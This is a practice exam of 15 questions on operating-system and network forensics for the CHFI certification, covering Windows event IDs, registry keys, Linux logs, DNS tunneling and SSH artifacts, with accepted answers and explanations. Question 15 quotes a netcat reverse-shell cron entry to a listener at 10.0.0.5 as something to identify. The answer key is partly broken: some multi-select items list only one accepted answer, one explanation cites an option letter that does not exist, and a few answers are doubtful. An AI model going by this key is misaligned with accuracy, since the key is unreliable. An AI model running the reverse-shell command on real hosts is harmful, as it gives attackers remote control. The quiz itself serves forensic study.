CHFI OS and Network Forensics Practice Test 11 — 15 Questions

Question 1

Which Windows Event ID is generated when a new service is installed on the system?

Accepted Answer

7045. Windows Event ID 7045 is specifically logged in the System event log when a new service is installed on the system. This event records the service name, image path, service type, and start mode, making it a critical artifact for forensic investigators tracking unauthorized service installations or persistence mechanisms.

Answer

4648

Answer

4720

Answer

4624

Question 2

A forensic analyst is examining a compromised Linux server and finds a suspicious binary running as a service. Which file should be checked to determine if the binary is set to start at boot?

Accepted Answer

/etc/crontab. The /etc/crontab file is the system-wide crontab file that can be used to schedule tasks, including starting a binary at boot time by using the @reboot directive. This is a common method for ensuring a service or binary starts automatically when the system boots, making it the correct file to check in this scenario.

Answer

/etc/shadow

Answer

/var/log/auth.log

Answer

/etc/passwd

Question 3

During a network forensics investigation, an analyst reviews NetFlow data and notices a one-way flow of UDP traffic from an internal host to an external IP on port 53. However, the packet capture shows the external IP responding with large DNS responses. What type of data exfiltration technique is MOST likely being used?

Accepted Answer

DNS tunneling. The one-way NetFlow view of UDP traffic to port 53 suggests DNS queries, but the packet capture reveals large DNS responses from the external IP. This is classic DNS tunneling, where data is exfiltrated by encoding it in DNS query names and receiving responses that carry command-and-control data or additional exfiltrated content within the resource record fields (e.g., TXT records). The asymmetry between NetFlow (which only logs the initial query direction) and full packet capture (which shows the response) is the key clue.

Answer

ICMP tunneling

Answer

SSH tunneling

Answer

HTTP tunneling

Question 4

A forensics investigator finds a suspicious LNK file on a Windows system that points to a script located on a remote share. What is the PRIMARY forensic significance of this LNK file?

Accepted Answer

It may be part of a lateral movement technique using remote execution.. An LNK file pointing to a remote share is a classic indicator of lateral movement, often used in techniques like SMB-based remote execution or PsExec. The LNK file itself does not execute code, but when opened, it triggers the Windows shell to connect to the remote share and run the script, allowing an attacker to move from one system to another without dropping a binary on the target. This is a key forensic artifact for identifying network-based propagation in attacks such as ransomware or APT intrusions.

Answer

It is evidence of USB device insertion.

Answer

It shows the user's recently accessed files.

Answer

It is a prefetch artifact indicating the script was executed.

Question 5

Which TWO artifacts are commonly used to identify USB device insertion history on a Windows system? (Select TWO.)

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR registry key and setupapi.dev.log contain information about USB devices connected to the system, including device IDs and timestamps.

Answer

NTUSER.DAT

Answer

prefetch files

Answer

Event ID 7045

Question 6

Which THREE of the following are indicators of a webshell on a compromised web server? (Select THREE.)

Accepted Answer

Presence of system commands in web server error logs. System commands in web server error logs (e.g., Apache error_log or IIS HTTPERR logs) indicate that an attacker has injected commands via a webshell, which are then executed and logged as errors. Unlike normal HTTP requests, these entries contain shell commands like 'id', 'whoami', or 'ls', which are not typical user-agent strings or request parameters.

Answer

Multiple failed login attempts in auth.log

Answer

High CPU usage from the web server process

Question 7

Which TWO of the following are typical sources of evidence for network forensics? (Select TWO.)

Accepted Answer

Firewall logs. Firewall logs are a primary source of evidence in network forensics because they record connection attempts, allowed/denied traffic, and source/destination IP addresses, providing a chronological record of network activity. They are essential for identifying unauthorized access attempts, scanning behavior, and policy violations at the network perimeter.

Answer

Windows registry hives

Answer

bash_history

Answer

Prefetch files

Question 8

A security analyst reviews Windows Security Event Log and notices multiple Event ID 4625 entries for a single user account from various IP addresses within a short time frame. What is the MOST likely attack being attempted?

Accepted Answer

Brute-force password attack. Event ID 4625 indicates a failed logon attempt. Multiple such events for a single user account from various IP addresses within a short time frame is the classic signature of a brute-force password attack, where an attacker tries many passwords against one account from multiple source IPs to evade rate-limiting or IP-based blocking.

Answer

Kerberos golden ticket attack

Answer

ARP spoofing attack

Answer

Pass-the-hash attack

Question 9

During a Linux forensic investigation, you find the following entry in /var/log/auth.log: "Accepted publickey for root from 203.0.113.5 port 54321 ssh2: RSA SHA256:abc...". The user claims they never connect from that IP. Which forensic artifact should you examine next to confirm unauthorized access?

Accepted Answer

~/.ssh/authorized_keys for unauthorized keys. The log entry shows a successful SSH authentication using a public key from an unknown IP. The most direct way to confirm unauthorized access is to check ~/.ssh/authorized_keys for any rogue public keys that were added without the user's knowledge, as this file controls which keys are permitted to authenticate as that user. If an attacker added their own public key here, they could log in without a password, making this the primary artifact to examine.

Answer

bash_history for suspicious commands

Answer

/etc/shadow for recent modifications

Answer

/var/log/syslog for cron job entries

Question 10

A forensic analyst examines a Mac system and runs "log show --predicate 'eventMessage contains "disk"' --last 1h" in Terminal. This command extracts Unified Log entries related to disk activity. Which macOS forensic artifact is the analyst MOST likely querying?

Accepted Answer

Apple Unified Logging. The 'log show' command with --predicate queries the Apple Unified Logging system, which centralizes logs from various subsystems.

Answer

.plist files

Answer

FSEvents

Answer

Core Storage logs

Question 11

In Windows registry forensics, which registry hive contains the SAM database storing local user account hashes?

Accepted Answer

HKLM\Sam. The SAM (Security Account Manager) database, which stores local user account password hashes (LM and NTLM hashes), is mounted in the Windows registry under the HKLM\SAM hive. This hive is directly accessible only by the SYSTEM account for security reasons, and it contains the hashes in the SAM\SAM\Domains\Account\Users subkey. Option D is correct because HKLM\Sam is the exact registry path where the SAM database resides.

Answer

HKLM\Security

Answer

HKLM\System

Answer

NTUSER.DAT

Question 12

A network forensic analyst captures traffic that includes the following Wireshark filter: "tcp.port == 22 and tcp.flags.syn == 1 and tcp.flags.ack == 0". What type of traffic is this filter selecting?

Accepted Answer

Outgoing SSH connection attempts. The filter `tcp.port == 22 and tcp.flags.syn == 1 and tcp.flags.ack == 0` selects TCP packets with a destination or source port of 22 (SSH) where the SYN flag is set and the ACK flag is not set. This combination identifies the initial SYN packet of a TCP three-way handshake, which represents a new connection attempt. Since port 22 is SSH, this filter specifically captures outgoing SSH connection attempts (SYN packets) before any session is established or payload is exchanged.

Answer

SSH traffic with payload

Answer

SSH key exchange

Answer

SSH established sessions

Question 13

A forensic tool parses the Windows registry and reveals that a USB device with VID_0781&PID_5583 was last connected on 2023-10-01. Which registry key is the MOST likely source of this information?

Accepted Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under Enum in the SYSTEM hive stores detailed history of USB mass storage devices, including the VID/PID (vendor and product identifiers) and the last connection timestamp. This specific key is the authoritative source for device enumeration and connection times for USB storage devices in Windows.

Answer

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

Question 14

Which Linux log file is the primary source for authentication-related events, including SSH login attempts and sudo usage?

Accepted Answer

/var/log/auth.log. /var/log/auth.log is the dedicated Linux log file for authentication-related events, including SSH login attempts (via PAM and sshd), sudo usage, and user authentication failures. This file is managed by the syslog daemon and is the primary source for forensic analysis of authentication activity on Debian-based systems.

Answer

/var/log/kern.log

Answer

/var/log/syslog

Answer

/var/log/messages

Question 15

An incident responder finds the following entry in a Linux cron job: "*/5 * * * * root nc -e /bin/sh 10.0.0.5 4444". What is the purpose of this cron job?

Accepted Answer

Establish a reverse shell back to the attacker every 5 minutes. The cron job runs every 5 minutes (as specified by '*/5') and executes 'nc -e /bin/sh 10.0.0.5 4444'. The '-e' flag in netcat (nc) binds /bin/sh to the connection, meaning when the command runs, it connects to 10.0.0.5 on port 4444 and provides a shell to the remote listener. This is a classic reverse shell technique, allowing an attacker to gain interactive command execution on the compromised Linux host.

Answer

Port scan 10.0.0.5 every 5 minutes

Answer

Log system activity to a remote server

Answer

Download malicious software from 10.0.0.5